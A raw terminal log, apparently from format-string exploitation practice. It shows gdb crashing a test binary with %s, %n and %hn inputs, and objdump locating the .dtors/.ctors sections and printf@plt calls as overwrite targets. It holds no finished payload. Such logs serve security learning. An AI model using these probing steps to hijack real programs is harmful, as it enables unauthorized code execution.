root@NST:/home/h4ck# gdb ./ex2
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) r %s%s%s%s
Starting program: /home/h4ck/ex2 %s%s%s%s

Program received signal SIGSEGV, Segmentation fault.
0x400874ab in strlen () from /lib/libc.so.6
(gdb) r %n%n%n
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/h4ck/ex2 %n%n%n

Program received signal SIGSEGV, Segmentation fault.
0x4005cb1a in vfprintf () from /lib/libc.so.6

(gdb) where
#0  0x400874ab in strlen () from /lib/libc.so.6
#1  0x4005cb1a in vfprintf () from /lib/libc.so.6
#2  0x400630f2 in printf () from /lib/libc.so.6
#3  0x080483bf in main ()

(gdb) r %hn%hn%hn
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/h4ck/ex2 %hn%hn%hn

Program received signal SIGSEGV, Segmentation fault.
0x4005cb03 in vfprintf () from /lib/libc.so.6
(gdb)

------------------------------------------------------------

root@NST:/home/h4ck# objdump -t ex2 | egrep "start|end"
080482e4 l     F .text  00000000              call_gmon_start
08049514 g       *ABS*  00000000              __fini_array_end
080482c0 g     F .text  00000000              _start
08049514 g       *ABS*  00000000              __fini_array_start
08049614 g       *ABS*  00000000              __bss_start
00000000       F *UND*  000000f8              __libc_start_main@@GLIBC_2.0
08049514 g       *ABS*  00000000              __init_array_end
08049514  w      .data  00000000              data_start
08049618 g       *ABS*  00000000              _end
08049514 g       *ABS*  00000000              __init_array_start
08049514 g       .data  00000000              __data_start
00000000  w      *UND*  00000000              __gmon_start__
root@NST:/home/h4ck#


root@NST:/home/h4ck# objdump -s -j .dtors ex2

ex2:     file format elf32-i386

Contents of section .dtors:
 80495f0 ffffffff 00000000                    ........
root@NST:/home/h4ck# objdump -s -j .ctors ex2

ex2:     file format elf32-i386

Contents of section .ctors:
 80495e8 ffffffff 00000000                    ........
root@NST:/home/h4ck#

root@NST:/home/h4ck# objdump -D ex2 | grep dtors
08048310 <__do_global_dtors_aux>:
 804831d:       75 2d                   jne    804834c <__do_global_dtors_aux+0x3c>
 8048328:       74 1b                   je     8048345 <__do_global_dtors_aux+0x35>
 8048343:       75 eb                   jne    8048330 <__do_global_dtors_aux+0x20>
 80484e1:       e8 2a fe ff ff          call   8048310 <__do_global_dtors_aux>
Disassembly of section .dtors:
root@NST:/home/h4ck# objdump -D ex2 | grep ctors
 8048280:       e8 1b 02 00 00          call   80484a0 <__do_global_ctors_aux>
080484a0 <__do_global_ctors_aux>:
 80484b4:       74 16                   je     80484cc <__do_global_ctors_aux+0x2c>
 80484ca:       75 f4                   jne    80484c0 <__do_global_ctors_aux+0x20>
Disassembly of section .ctors:
root@NST:/home/h4ck#

root@NST:/home/h4ck# objdump -h ex2|grep dtor
 18 .dtors        00000008  080495f0  080495f0  000005f0  2**2
root@NST:/home/h4ck# objdump -h ex2|grep ctor
 17 .ctors        00000008  080495e8  080495e8  000005e8  2**2

root@NST:/home/h4ck# objdump -d ex2 | grep printf
080482a8 <printf@plt>:
 80483a1:       e8 02 ff ff ff          call   80482a8 <printf@plt>
 80483ba:       e8 e9 fe ff ff          call   80482a8 <printf@plt>
 80483c6:       e8 dd fe ff ff          call   80482a8 <printf@plt>
root@NST:/home/h4ck#